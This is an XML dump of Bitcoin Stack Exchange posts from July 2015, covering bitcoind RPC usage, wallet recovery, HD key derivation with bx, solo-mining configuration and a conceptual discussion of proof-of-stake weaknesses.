  <row Id="38475" PostTypeId="2" ParentId="38334" CreationDate="2015-07-08T18:40:56.857" Score="2" Body="&lt;p&gt;-Most likely the recent delay is due to the current stress test, transactions with the recommended default fee (0.0001) currently can take hours to confirm.. if you sent the transaction with less than 0.0001 then it will take allot of time particularly with this &quot;stress test&quot; (and if the value of the transaction is less than 0.01 then possibly days).&lt;/p&gt;&#xA;" OwnerUserId="27284" LastActivityDate="2015-07-08T18:40:56.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38476" PostTypeId="1" CreationDate="2015-07-08T19:49:15.450" Score="2" ViewCount="514" Body="&lt;p&gt;Is there a command to get the &lt;code&gt;DateTime&lt;/code&gt; of when &lt;code&gt;bitcoind&lt;/code&gt; last received a block?&lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="5406" LastEditDate="2015-11-08T16:31:59.560" LastActivityDate="2015-11-08T16:31:59.560" Title="How can I get the DateTime of when bitcoind last received a block?" Tags="|bitcoind|json-rpc|block|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38478" PostTypeId="1" CreationDate="2015-07-08T22:13:58.647" Score="1" ViewCount="116" Body="&lt;p&gt;Would you mind telling me what is the best introduced approach to secure the private key in the wallet and a transaction which is done using Bitcoin? I do not want to use a separate hardware, I am seeking for the best software based approach to protect the private key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&lt;/p&gt;&#xA;" OwnerUserId="27289" LastEditorUserId="27289" LastEditDate="2015-07-09T13:08:37.057" LastActivityDate="2015-11-10T14:50:58.247" Title="what is the best software based solution to secure the private key in Bitcoin" Tags="|bitcoind|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38479" PostTypeId="1" CreationDate="2015-07-09T00:32:05.297" Score="1" ViewCount="214" Body="&lt;p&gt;Installed bitcoin-qt and replaced new wallet.dat with old wallet.dat backup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opened bitcoin-qt and let it sync and all blocks synced and wallet has correct funds and past transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Want to send money from this wallet to new wallet not bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-qt asks for wallet password to send or recieve bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I input correct password, bitcoin-qt closes! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Following error on log&lt;/strong&gt; &lt;em&gt;= bitcoin-qt: crypter.cpp:189: bool&#xA;   CCryptoKeyStore::Unlock(const CKeyingMaterial&amp;amp;): Assertion `false'&#xA;   failed&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the password is the correct one. (Confirmed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other passwords give error. I've done -salvagewallet -rescan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;I started bitcoind -daemon and did bitcoin-cli walletpassphrase &quot;pass&quot; 120 and gave me the exact same error as above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" OwnerUserId="27291" LastEditorUserId="27291" LastEditDate="2015-07-09T02:10:49.113" LastActivityDate="2015-07-09T02:10:49.113" Title="bitcoin-qt restored wallet.dat all synced closes after correct passphrase &quot;assertion error crypt&quot; HELP" Tags="|wallet|bitcoin-core|backup|encryption|passphrase|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38480" PostTypeId="1" AcceptedAnswerId="38509" CreationDate="2015-07-09T02:21:19.100" Score="2" ViewCount="3849" Body="&lt;p&gt;I'm currently doing RPC calls to bitcoin-cli within python to get raw block data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getblock BLOCKHASH False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've already written a function that cuts off the block header and splits the transaction block into individual transactions, resulting in the same result as: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getrawblock TXID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm now trying to convert this data into the same result as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getrawblock TXID 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;without doing another RPC call to bitcoind. Would prefer to use pre-existing modules if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python packages would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="27141" LastActivityDate="2015-07-10T07:49:55.097" Title="Are there any Python modules that decode raw transaction data?" Tags="|bitcoind|raw-transaction|raw-data|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38481" PostTypeId="1" CreationDate="2015-07-09T04:18:35.163" Score="2" ViewCount="1751" Body="&lt;p&gt;The &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_exportingPrivateKeys.html&quot; rel=&quot;nofollow&quot;&gt;support section of the MultiBit website&lt;/a&gt; shows a completely different UI as well as many options that the current version doesn't have. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find my private key? &lt;/p&gt;&#xA;" OwnerUserId="27293" LastEditorUserId="30732" LastEditDate="2016-10-20T17:47:32.610" LastActivityDate="2016-10-20T17:47:32.610" Title="How can I get the private key from multibit?" Tags="|private-key|multibit|recover-private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38483" PostTypeId="1" CreationDate="2015-07-09T05:14:28.860" Score="1" ViewCount="767" Body="&lt;p&gt;I was trying to get strong feedback that I really understood a &lt;a href=&quot;https://github.com/aantonop/bitcoinbook/blob/develop/ch04.asciidoc#CKDpriv&quot; rel=&quot;nofollow noreferrer&quot;&gt;portion&lt;/a&gt; of the Mastering Bitcoin Book concerning HD wallets. The picture below is the reference for the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HPlYl.png&quot; alt=&quot;HD Private Child Key Derivation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked out the functionality exposed by a &lt;a href=&quot;https://coinb.in/#newHDaddress&quot; rel=&quot;nofollow noreferrer&quot;&gt;Javascript Brain Wallet&lt;/a&gt;. By entering &quot;123&quot; (is a very poor secret) into a field for a HD brainwallet and the following extended private key emerged: &lt;strong&gt;xprv9s21ZrQH143K2hYgcmBxsUfRw3Kbu3eEGXFJrM8Cqtewuqa6Y6nXbB7tv9HnrBajqjptPsRjL9FmnwLa317jHWJ5dpwTc99C2AiPztPRaxk&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking the button to the right of the private key got me to another page indicating the master private chain code is &lt;strong&gt;40675733fc35303c1c75bc598716f24af225528da686192ceb567c88313f8885&lt;/strong&gt; and the master private key is &lt;strong&gt;L4h3ZSQ3yfFNbovQjTGumvUGEfB1a7oFAhbkhMMFGsdDKoTSwwU8&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given these last two pieces of information and an index of 0, is it possible to issue a number a number of bx commands and concatenate their output results to feed a HMAC-SHA512 hash to arrive at private WIF key of &lt;strong&gt;KwMsDozFYQG7SZFwfvFRwWDhfuMJjkE669WxP6SqrpDPsCBrPV4p&lt;/strong&gt; public address &lt;strong&gt;15jbcT7wE81s8n2dbEGRFGf65zp7PHrjxh&lt;/strong&gt;?  If so, how is this accomplished or does bx need to be complemented by some other command that renders HMAC-SHA512 functionality?&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="2306" LastEditDate="2015-07-09T05:19:50.187" LastActivityDate="2015-07-09T23:06:39.257" Title="Getting bx to create a private key from known chain code and a private EC WIF key?" Tags="|wallet|private-key|bip32-hd-wallets|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38484" PostTypeId="2" ParentId="38481" CreationDate="2015-07-09T08:04:43.810" Score="1" Body="&lt;p&gt;If you want to use the original version of MultiBit (called MultiBit Classic) then the installers are available on the &lt;a href=&quot;https://multibit.org&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org&lt;/a&gt; website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on the 'Download' button at the top of the page and then look at the bottom of the 'Releases and signatures' section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new version of MultiBit (called MultiBit HD) uses a set of wallet words to deterministically generate private keys and addresses. You restore directly from the wallet words rather than exporting/ importing individual private keys.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-07-09T08:04:43.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38485" PostTypeId="2" ParentId="38476" CreationDate="2015-07-09T08:24:01.560" Score="0" Body="&lt;p&gt;If you mean the number of blocks in the entire chain, &lt;code&gt;getblockcount&lt;/code&gt; gives you that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The commands &lt;code&gt;getinfo&lt;/code&gt; and &lt;code&gt;getblockchaininfo&lt;/code&gt; also both contain &quot;blocks&quot; in their reply. The latter also includes &quot;headers&quot;, which should show you a higher number than &quot;blocks&quot; when bitcoind has not caught up yet but has heard about a newer block.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-07-09T08:24:01.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38486" PostTypeId="1" CreationDate="2015-07-09T09:54:54.150" Score="2" ViewCount="394" Body="&lt;p&gt;I am not asking for mining (which is all the information I could find on the net). I am asking for the regular bitcoind daemon, looking for having a full node with a reasonable high performance per watt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My use case is: I have a &lt;a href=&quot;https://developer.nvidia.com/jetson-tk1&quot; rel=&quot;nofollow&quot;&gt;Jetson TK1 board&lt;/a&gt; and would like to use it. However, I have seen that bitcoind tends to saturate the CPU and I would prefer to take advantage of the CUDA cores (both for performance and for energy consumption).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My google-fu is weak, and there is a lot of information about mining (which I am not interested in) but not on this specific application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was considering performing a fork of the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;bitcoin source at GitHub&lt;/a&gt;, but it seems a huge task and I am not sure if the community will be as interested as I am. And maybe there are efforts on it, which I could not find.&lt;/p&gt;&#xA;" OwnerUserId="27298" LastActivityDate="2015-07-09T09:54:54.150" Title="How to use bitcoind with CUDA-ready box?" Tags="|bitcoind|gpu|nodes|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38487" PostTypeId="1" CreationDate="2015-07-09T09:57:11.553" Score="2" ViewCount="14049" Body="&lt;p&gt;Hy there,&#xA;i do not exactly know if i am right with my setup, so please be patient with my questions as a noob.&#xA;I have a Bitmain S3 with latest Firmware on the ASIC, and i do not exactly know how to configure the ASIC for solo mining in my LAN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) I have a linux bitcoind server in my lan with the IP 192.168.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) I have an ASIC bitmain S3 with the IP 192.168.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) I have a bitcoin.conf as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;daemon=1&#xA;listen=1&#xA;rpcuser=USER&#xA;rpcpassword=SOMEWILDDIGITS&#xA;rpcallowip=127.0.0.1&#xA;rpcallowip=192.168.2.2&#xA;rpcport=8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4.) What statements do i need in the S3 configuration field? Do i need the &lt;strong&gt;rpcsuser+rpcpwd+btcaaddress&lt;/strong&gt; or do i just need the &lt;strong&gt;btcaddress&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your awnsers!!!&lt;/p&gt;&#xA;" OwnerUserId="27299" LastActivityDate="2022-02-07T04:30:59.047" Title="How to setup bitcoind 10.2 for solo mining on LAN with Bitmain S3" Tags="|server|asic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38489" PostTypeId="1" CreationDate="2015-07-09T10:42:40.517" Score="8" ViewCount="1189" Body="&lt;p&gt;Am currently sending RPC calls to bitcoind in Python3 in series using JSON:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import json, requests&#xA;&#xA;def pull(command, foo):&#xA;    headers = {'content-type': 'application/json'}&#xA;    payload = json.dumps({&quot;method&quot;: command, &quot;params&quot;: [foo], &quot;jsonrpc&quot;: &quot;2.0&quot;})&#xA;    response = requests.get(serverURL, headers=headers, data=payload)&#xA;&#xA;    return(response.json()['result'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pull('getblock', BLOCKHASH)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and hope to improve call speeds by doing batch RPC calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible and how so?&lt;/p&gt;&#xA;" OwnerUserId="27141" LastEditorUserId="27141" LastEditDate="2015-07-10T02:25:20.850" LastActivityDate="2015-07-10T02:25:20.850" Title="Does bitcoind accept batch RPC calls?" Tags="|bitcoind|json-rpc|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38490" PostTypeId="1" AcceptedAnswerId="38493" CreationDate="2015-07-09T10:54:51.030" Score="2" ViewCount="1177" Body="&lt;p&gt;I am android developer. I have used &lt;a href=&quot;https://blockchain.info/api/blockchain_wallet_api&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/blockchain_wallet_api&lt;/a&gt; API for my application But the problem is now how can I test my application (transactions) with out having bit-coins in my wallet. Is there any play ground or SandBoxing for testing specific for BlockChain wallet API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="27301" LastEditorUserId="14887" LastEditDate="2015-08-31T06:34:47.557" LastActivityDate="2015-08-31T06:34:47.557" Title="BlockChain API playground OR SandBox?" Tags="|api|blockchain.info|testing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38491" PostTypeId="2" ParentId="14133" CreationDate="2015-07-09T12:41:25.960" Score="7" Body="&lt;p&gt;You can do this really easily with &lt;a href=&quot;http://www.multichain.com/&quot;&gt;MultiChain&lt;/a&gt;, and even make your blockchain permissioned, i.e. only accessible to certain entities.&lt;/p&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-07-09T12:41:25.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38492" PostTypeId="2" ParentId="38489" CreationDate="2015-07-09T13:31:10.333" Score="10" Body="&lt;p&gt;Yes, this is supported. As specified by JSON-RPC 2.0, you can send in an array of requests, and receive an array of solutions.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-07-09T13:31:10.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38493" PostTypeId="2" ParentId="38490" CreationDate="2015-07-09T13:38:28.937" Score="1" Body="&lt;p&gt;Blockchain.info does not have a sandbox nor testnet support. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-09T13:38:28.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38495" PostTypeId="1" CreationDate="2015-07-09T19:54:28.300" Score="1" ViewCount="359" Body="&lt;p&gt;does anyone know of any other bitcoin wallet sites that offer the same instant usd to bitcoin exchange services, such as coinbase and circle.com? I must also be able to withdraw instantly to a linked bank account or credit card too. if anyone knows of a bitcoin site with same services as coinbase and circle.com for usa residents,please respond back. thank you&lt;/p&gt;&#xA;" OwnerUserId="27316" LastEditorUserId="2306" LastEditDate="2015-07-09T22:43:17.970" LastActivityDate="2018-06-21T08:12:52.360" Title="are there other sites similiar to coinbase and circle.com" Tags="|exchanges|buy-bitcoins|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38496" PostTypeId="1" AcceptedAnswerId="38525" CreationDate="2015-07-09T20:08:59.760" Score="4" ViewCount="942" Body="&lt;p&gt;I understand that every second the timestamp &amp;amp; potential transactions is hashed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess there exists a &quot;start time&quot; on the block chain we can't roll the clock before because transactions with timestamps already exist on the chain.  But could we roll back say just a few minutes? Could this gain us anything?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, even if we can't roll back in time, could we edit the program to try as many hashes as possible every second.  For example, suppose we try 100 times to hash instead of once, for a given second, we then broadcast the block.  Would other nodes on the network accept the block, even though it will be a little late?  Do other nodes on the network use some API to get the actual time? Surely the system must allow a fudge factor to account for the latencies?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if they do reject, what about this: time is 5 seconds past six, we then repeatedly try to hash the 10 second timestamp - we get 5 whole seconds to do this.  If we succeed and no one else has, we can broadcast the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, in the PoW system it's provably impossible to gain an advantage without buying more hardware - a node can tamper with code and clocks as much as they want, they won't get an advantage.  It's not clear to me how PoS systems are protected, since they must rely on code integrity &amp;amp; clocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly could minting be tricked? If it uses a random number generator, where does this random number come from? Can it be forged?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a technical guy, so happy for fully technical explanations - no holding back! :)&lt;/p&gt;&#xA;" OwnerUserId="27314" LastActivityDate="2017-06-10T23:48:55.793" Title="How does Peercoin (or other PoS) prevent timestamp forging effecting hash attempts or random minting?" Tags="|proof-of-work|peercoin|proof-of-stake|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38499" PostTypeId="2" ParentId="38483" CreationDate="2015-07-09T23:06:39.257" Score="2" Body="&lt;p&gt;No need for an external program at all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ KEY=xprv9s21ZrQH143K2hYgcmBxsUfRw3Kbu3eEGXFJrM8Cqtewuqa6Y6nXbB7tv9HnrBajqjptPsRjL9FmnwLa317jHWJ5dpwTc99C2AiPztPRaxk&#xA;$ echo $KEY | bx hd-public -i 0 | bx hd-to-address&#xA;15jbcT7wE81s8n2dbEGRFGf65zp7PHrjxh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, because this is non-hardened, you can use the extended public key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ KEY=xpub661MyMwAqRbcFBd9iniyEccAV5A6JWN5dkAuejXpQEBvnduF5e6n8ySNmP8uWeqNbwFXLHEQkV1shXbNtBV8YCUJPMSuE7bGCvDaZJfUBuP&#xA;$ echo $KEY | bx hd-public -i 0 | bx hd-to-address&#xA;15jbcT7wE81s8n2dbEGRFGf65zp7PHrjxh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-07-09T23:06:39.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38500" PostTypeId="2" ParentId="38496" CreationDate="2015-07-09T23:34:19.033" Score="4" Body="&lt;p&gt;The general problems you are describing are inherent flaws in PoS, but you've caught onto some of the basic principles that are going to impact the security and integrity of the cryptosystem. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Anyway, even if we can't roll back in time, could we edit the program to try as many hashes as possible every second. For example, suppose we try 100 times to hash instead of once, for a given second, we then broadcast the block.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is known as stake grinding. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The selection of the next signer in the block chain is almost always (this varies by implementation) directly or indirectly deterministic based on the previous block information. As there is nothing inherently preventing a person from resigning previous blocks as much as they like, they can continue until the head of the chain also assigns them to be the next signer of a block as well. Under this attack either one person gains a vastly inflated amount of power over the chain, or if everybody is attempting to stake grind it breaks down to a particularly inefficient proof of work system with badly described properties. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proof of Stake altcoins generally attempt to solve this by making the signer selection RNG seed come from earlier in the chain, say a thousand blocks prior to the head, with the idea that it is impossible for someone to influence the outcome from that far back in time. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I guess there exists a &quot;start time&quot; on the block chain we can't roll the clock before because transactions with timestamps already exist on the chain. But could we roll back say just a few minutes? Could this gain us anything?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is known as costless simulation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system again falls to the simple fact that there is nothing inherently hard about resigning blocks. Given some coins at the start of the block chain (owned, stolen, &quot;empty&quot; wallets purchased), in a proof of stake system an attacker can simply rebuild the entire chain to the present day with themselves as the only participant. Given the option of two chains (in this case, the attacking and main chain), a client has no way of knowing which if either they should be trusting as real. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proof of Stake altcoins often attempt to solve this by having centralized &quot;checkpoints&quot; which prevent the chain from deviating, though one could argue against this system being decentralized at all. Others simply have nodes in the network refuse to reorganize to other chains after a certain amount of time, which doesn't protect new users joining the network and being presented with false chains. Ethereum PoS will attempt a &quot;phone a friend&quot; system, where users are prompted to contact other network participants out of band and manually confirm that they are on the same main block chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Section 6.4 of &lt;a href=&quot;https://download.wpsoftware.net/bitcoin/alts.pdf&quot; rel=&quot;nofollow&quot;&gt;A Treatise on Altcoins&lt;/a&gt; covers these topics in a little more depth. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-09T23:34:19.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38502" PostTypeId="2" ParentId="38487" CreationDate="2015-07-09T23:46:35.000" Score="2" Body="&lt;p&gt;Bitcoin Core doesn't directly allow for stratum miners to connect, you need a middleman proxy to translate the two mining methods used by Bitcoin Core and &lt;code&gt;cgminer&lt;/code&gt; on the Antminer S3. This is simplest with &lt;code&gt;bfgminer&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run &lt;a href=&quot;http://bfgminer.org/&quot; rel=&quot;nofollow&quot;&gt;BFGminer&lt;/a&gt; on the same computer as Bitcoin Core with the following configuation, it won't need any further settings altered or configured (it gets the RPC password automatically on launch). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bfgminer --stratum-port=3333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BFGminer will launch, and retrieve the information needed for solo mining. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Now using coinbase address 1PkNBPBGEmvoMFbwRT5ky3XXVNstJnJ4c1, provided by pool 0&#xA;Network difficulty changed to 49.4G (353.6P)&#xA;Pool 0 http://localhost:8332/#getcbaddr#allblocks alive&#xA;Long-polling activated for http://localhost:8332/#getcbaddr#allblocks (getblocktemplate)&#xA;Added local bitcoin RPC server on port 8332 as pool 0&#xA;Probing for an alive pool&#xA;Pool 0 http://localhost:8332/#getcbaddr#allblocks alive  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;                                                                        &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're now ready to solo mine against Bitcoin Core, you just have to point your antminer at the IP address of the computer running &lt;code&gt;BFGminer&lt;/code&gt;, and the miner should show up in the top section of BFGminer with its hashrate showing as &quot;PXY&quot; (stratum proxy). Any blocks will be paid out to the coinbase address shown in &lt;code&gt;BFGminer&lt;/code&gt;, which is a new one generated from your wallet. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-09T23:46:35.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38505" PostTypeId="1" CreationDate="2015-07-10T01:24:48.810" Score="2" ViewCount="1328" Body="&lt;p&gt;It all started when I tried to make a couple of payments via bitcoin. The transactions just would not confirm. After doing some reading I saw that &quot; zapwallettxes &quot; would supposedly dump the transactions that would not confirm, so I could resend the payments. So I ran the routine.&#xA;    That was over 24 hours ago, and it's still running.  The only way I can tell it's still running is (a) I have a blinking cursor on the DOS screen, and (b) when I try to run my wallet it says it's currently busy. Has anyone has any experience with zapwallettxes ?  How long does it take to run?&lt;/p&gt;&#xA;" OwnerUserId="27318" LastActivityDate="2015-07-10T01:24:48.810" Title="Need help with bitcoind &quot; zapwallettxes &quot; routine" Tags="|bitcoind|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38506" PostTypeId="1" CreationDate="2015-07-10T02:35:33.560" Score="1" ViewCount="133" Body="&lt;p&gt;Using Electrum 2.3.3 on Ubuntu 14.04.2 with a Trezor (firmware 1.3.3), I'm having trouble with the account labels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I rename an account, it displays the new label. However, when I rename another account, the first one I renamed goes back to being &quot;Account 1&quot;. It doesn't seem to retain my changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help you can provide, and let me know if more information is needed.&lt;/p&gt;&#xA;" OwnerUserId="27320" LastEditorUserId="5406" LastEditDate="2017-07-01T14:10:47.970" LastActivityDate="2017-07-01T14:10:47.970" Title="Electrum + Trezor - Rename address labels only allows one label to be defined" Tags="|wallet|electrum|ubuntu|trezor|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38507" PostTypeId="2" ParentId="25652" CreationDate="2015-07-10T05:32:22.040" Score="1" Body="&lt;p&gt;Related question was asked at &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12746/can-a-bitcoin-transaction-have-the-same-address-for-input-and-output&quot;&gt;Can a Bitcoin transaction have the same address for input and output?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the answer is &quot;Yes&quot; and I also tested it. Unspent transactions can be totally sent to its wallet address as well. There is no internal restriction on in and out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's already written at Murch's comment but I'm posting answer to accept the question.&lt;/p&gt;&#xA;" OwnerUserId="16998" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-07-10T05:32:22.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38509" PostTypeId="2" ParentId="38480" CreationDate="2015-07-10T07:49:55.097" Score="4" Body="&lt;p&gt;Yes, &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;Pybitcointools&lt;/a&gt; (or &lt;a href=&quot;https://github.com/simcity4242/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;this fork&lt;/a&gt; which has BIP39, file embedding and &lt;code&gt;mk_opreturn&lt;/code&gt;) can do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install either version of pybitcointools using &lt;code&gt;setup.py install&lt;/code&gt;, as usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, with a raw hex transaction, &lt;code&gt;rawtx&lt;/code&gt;, simply use &lt;code&gt;txo = deserialize(rawtx)&lt;/code&gt;. &lt;code&gt;rawtx&lt;/code&gt; can be either a signed or unsigned hex transaction. The returned &lt;code&gt;txo&lt;/code&gt; is deserialized as a &lt;code&gt;dict&lt;/code&gt; object. Use &lt;code&gt;serialize(txo)&lt;/code&gt; to get back to &lt;code&gt;rawtx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fetch TxIDs using &lt;code&gt;fetchtx(hex_txid, source=&quot;blockr&quot;)&lt;/code&gt; and send signed Txs with &lt;code&gt;pushtx(signed_hex_tx, source=&quot;bci&quot;)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-07-10T07:49:55.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38511" PostTypeId="1" CreationDate="2015-07-10T08:05:24.677" Score="1" ViewCount="662" Body="&lt;p&gt;Hello I have upgraded my bitcoind to 0.10.2, some of my rpc request now doesn't work.&#xA;This is an example:&#xA;bitcoin-cli gettransaction 6f5dfa31bef79d0c8cdd58530fc9f0ed2427e7085d421755f3fe78c&#xA;a6ac326ef&#xA;error: {&quot;code&quot;:-5,&quot;message&quot;:&quot;Invalid or non-wallet transaction id&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have in bitcoin.conf &#xA;txindex=1&#xA;reindex=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="27323" LastEditorUserId="10377" LastEditDate="2016-12-26T18:12:11.917" LastActivityDate="2016-12-26T18:12:11.917" Title="RPC call gettransaction does not work on bitcoin 0.10.2" Tags="|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
